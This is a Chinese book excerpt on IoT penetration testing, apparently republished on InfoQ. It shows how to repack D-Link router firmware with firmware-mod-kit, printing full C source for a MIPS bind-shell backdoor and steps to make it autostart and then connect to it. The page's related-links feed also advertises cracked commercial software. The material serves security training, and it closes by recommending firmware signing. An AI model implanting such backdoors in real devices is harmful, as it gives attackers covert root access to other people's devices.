2天时间,聊今年最热的 Agent、上下文工程、AI 产品创新等话题。2025 年最后一场~ 了解详情
写点什么

物联网渗透测试(十三):使用 firmware-mod-kit(FMK) 在固件中添加后门

  • 2020-05-21
  • 本文字数:2708 字

    阅读完需:约 9 分钟

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

编者按:本文节选自华章网络空间安全技术丛书《物联网渗透测试》一书中的部分章节。

使用 firmware-mod-kit(FMK)在固件中添加后门

在漏洞利用过程中,经常需要用到的一种方法就是篡改固件。也就是从固件中提取文件系统,对其内容进行修改,然后再将其重新打包成新的固件,随后攻击者可以将这个新打包的固件刷进设备。

准备工作

固件篡改的过程会用到工具 FMK,该工具由 Jeremy Collake 和 Craig Heffner 开发。FMK 不仅可以利用 Binwalk 或其他工具从固件中提取出文件系统,还具有将篡改后的文件系统重新打包成新固件的功能。


FMK 可以从https://github.com/brianpow/firmware-mod-kit/下载,如果读者之前从 GitHub 中克隆了 FAT 代码,那么该工具应该已经存在于读者的系统中了。下载完该工具后,接下来我们就可以找一个固件一试身手了。出于简单起见,同时让本书的读者在无须投入资金购买硬件的情况下也能够复现以下步骤,我们主要以能够采用 FAT 进行仿真的固件为例进行介绍。

测试流程

篡改固件的步骤如下:


1)在本例中我们使用的固件来自 D-Link DIR-300 路由器。在这里我们使用 FMK 目录下的 extract-firmware.sh 脚本从固件中提取文件系统,而未使用 Binwalk。操作命令如图 1 所示。


./extract-firmware.sh Dlink_firmware.bin
复制代码



图 1


提取出固件后,脚本会生成一个新目录,其中包括 rootfs、image_part 和 logs 等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心 rootfs 文件夹。


rootfs 文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。


2)首先查看固件所基于的架构。对固件中任一文件执行 readelf 命令就可以查看其架构,以 BusyBox 文件为例,命令执行结果如图 2 所示。



图 2


3)正如我们从图 2 中看到的,固件是基于 MIPS 小端架构的。这意味着我们需要开发符合 MIPS 小端架构的后门并进行编译。下面是我们将要使用的后门源码,该后门由 Osanda Malith 开发编写:


#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>
#define SERVER_PORT 9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) * Bind Shell using Fork for my TP-Link mr3020 router running busybox * Arch : MIPS * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc */int main() { int serverfd, clientfd, server_pid, i = 0; char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; char *args[] = { "/bin/busybox", "sh", (char *) 0 }; Analyzing and Exploiting Firmware struct sockaddr_in server, client; socklen_t len;
server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0); bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1);
while (1) { len = sizeof(struct sockaddr); clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork(); if (server_pid) { write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd); } close(clientfd); } return 0;}
复制代码


代码写好后,我们就可以使用针对 MIPSEL 架构的 Buildroot,并使用该 Buildroot 构建的交叉编译器编译代码。这里不对安装配置 Buildroot 的过程进行过多介绍,因为这个过程非常简单,并且在 Buildroot 的说明文档中已经进行了详细说明。


4)为 MIPSEL 架构创建了交叉编译器后,我们接下来将 bindshell.c 编译为能够植入文件系统的二进制文件 bindshell:


./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -obindshell
复制代码


下一步是在文件系统中寻找可以放置该二进制文件的地方,以及如何在启动过程中将其设置为自启动。这里我们的思路是分析在启动过程中自动调用的脚本,看看是否能够实现自启动。


5)在文件系统中,我们可以在 etc/templates/目录中放入后门的二进制文件,然后在 system.sh 脚本中调用该二进制文件,其中 system.sh 脚本位于/etc/scripts/目录下,脚本编写如图 3 所示。



图 3


6)接下来使用 build-firmware.sh 脚本将修改后的文件系统重新打包为新的固件,打包过程如图 4 所示。



图 4


执行完成后,会在目录 firmware-name/中生成新的固件,新固件名为 new-firmware.bin。


7)此时就创建完成了新的固件镜像,我们可以将新固件复制到 FAT 目录中,并通过仿真来验证新添加的后门是否能够正常运行。这里同之前固件仿真的步骤相同。操作步骤如图 5 所示。



图 5


如图 5 所示,固件仿真时获得的 IP 地址为 192.168.0.1,此时可以尝试访问该地址。但我们更关注在固件中添加的后门 bindshell 是否已经成功启动。


8)现在尝试运行 Netcat 连接目标 IP 的 9999 端口,检查后门是否成功启动,如图 6 所示。



图 6


根据执行结果,可以看到我们已经对固件进行了修改并成功植入了后门,因此此时成功获得了设备中具有 root 权限的 shell。而获得拥有 root 权限的 shell 之后,用户还可以修改设备的其他配置,或者将其作为跳板远程访问其他植入恶意固件的设备。

测试分析

固件篡改的功能强大,对于攻击者而言是梦寐以求的目标。这是因为,如果能够实现对固件的篡改,那么攻击者就能够实现绕过保护机制、移除安全防护措施等操作。而利用本章介绍的 FMK 等工具,攻击者可以很容易地将自己开发的恶意软件或后门植入到任意 IoT 设备固件中,这样攻击者就可以在全球任何地方通过后门访问 IoT 设备了。


正是由于固件篡改在攻击者手中具有如此强大的威力,所以如果能够对固件进行签名和校验值验证,那么对于防止恶意修改固件的攻击而言将具有非常重要的意义。


图书简介https://item.jd.com/12623610.html



相关阅读


物联网渗透测试(一):简介


物联网渗透测试(二):IoT 中的 Web 应用


物联网渗透测试(三):IoT 中的 移动应用


物联网渗透测试(四):IoT 渗透测试环境的部署


物联网渗透测试(五):威胁建模概念简介


物联网渗透测试(六):IoT 设备威胁建模剖析


物联网渗透测试(七):固件威胁建模


物联网渗透测试(八):IoT Web 应用威胁建模


物联网渗透测试(九):IoT 移动应用威胁建模


物联网渗透测试(十):固件分析方法


物联网渗透测试(十一):固件分析流程


物联网渗透测试(十二):MIPS 架构下的漏洞利用


2020-05-21 10:005193

评论

发布
暂无评论
发现更多内容

亚马逊云 EC2 的网络详解

孤虹

亚马逊云 EC2

潜水员戴夫Dave The Diver 主线游戏攻略 潜水员戴夫 Mac游戏中文版下载

Rose

Dave The Diver 潜水员戴夫游戏攻略 Mac游戏推荐 潜水员戴夫中文版下载

专业ai无损放大工具-Topaz Gigapixel AI汉化一键激活版

Rose

无损放大 Topaz Gigapixel AI中文 Topaz Gigapixel AI下载 Topaz Gigapixel AI破解

7天!早鸟票免费倒计时!2023开放原子开发者大会等你来!

开放原子开源基金会

Java 开源 程序员 开发者大会 C++

AnyGo使用教程 AnyGo中文下载安装 支持M1/M2

Rose

GPS Mac软件 AnyGo下载 AnyGo中文版

适用于M1 /M2 Mac的office365办公软件 Microsoft 365破解版下载

Rose

Microsoft 365 office许可证 office 365

Mac系统下Datagrip打不开、点击没反应?

秃头小帅oi

Amazon EC2 新手初探:创建第一个 EC2 实例

王强

Amazon EC2 亚马逊云服务

LeetCode题解:2. 两数相加,递归,JavaScript,详细注释

Lee Chen

JavaScript LeetCode

ps 2023 mac配置要求 Photoshop2023中文破解版 支持M

Rose

Photoshop 2023下载 Photoshop 2023中文版 ps 2023储存黑屏 PS2023最新版

用Mac做视频剪辑就用fcpx剪辑,Final Cut Pro中文下载

Rose

Final Cut Pro中文版 Final Cut Pro破解版 fcpx 视频剪辑Mac版 fcpx剪辑

物理机和云服务器到底哪个好

Geek_f19a80

服务器

【Spring Cloud 】基于微服务架构的智慧工地云平台源码带APP

源码星辰

智慧工地 智慧工地云平台

兼容Intel和Apple Silicon芯片Parallels Desktop 19虚拟机一键激活版

Rose

Mac虚拟机下载 Parallels Desktop 19 PD19虚拟机破解版 Parallels正版密钥

Android File Transfer for Mac:轻松实现手机与电脑之间的文件传输

Rose

Android File Transfer mac与安卓同步 安卓数据传输 MacDroid pro

什么是软件定制开发?|app网站小程序定制

Geek_16d138

网站建设 app定制开发 软件定制开发

亚马逊云EC2的监控

孤虹

亚马逊云 EC2

Photoshop 2024 (ps)使用技巧 ps2024mac中文破解版

Rose

Photoshop 2024破解版 Photoshop 2024直装版 ps使用技巧

Luminar Neo 创意图像编辑工具 支持M1

加油,小妞!

图像处理 Luminar Neo下载

「一体化信息建设」,江苏人社如何完成数据安全管控(成果篇)

BinTools图尔兹

运维 数据安全 数据库管理 数据库操作

登上CHINA DAILY!用友向全球展现中国数智力量

用友BIP

企业数智化

喜讯!云起无垠入选《2023年中国AIGC创新企业榜》

云起无垠

业内首发!用友BIP全球司库助力大型企业实现虚假贸易“零容忍”!

用友BIP

全球司库 虚假贸易

浅析建筑行业财务管理数智化转型

用友BIP

企业数智化

OmniGraffle Pro 思维导图工具 密钥激活 附 安装教程

加油,小妞!

mac思维导图 OmniGraffle Pro下载

oneAPI & OpenVINO™ 联合开发者大会开启:英特尔持续开源创新,助力 AI 开发落地

E科讯

轻松一刻|Walrus CLI与CI/CD工具集成,轻松部署2048游戏

SEAL安全

游戏 CI/CD Walrus 企业号11月PK榜

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门_安全_亚伦·古兹曼,阿迪蒂亚·古普塔_InfoQ精选文章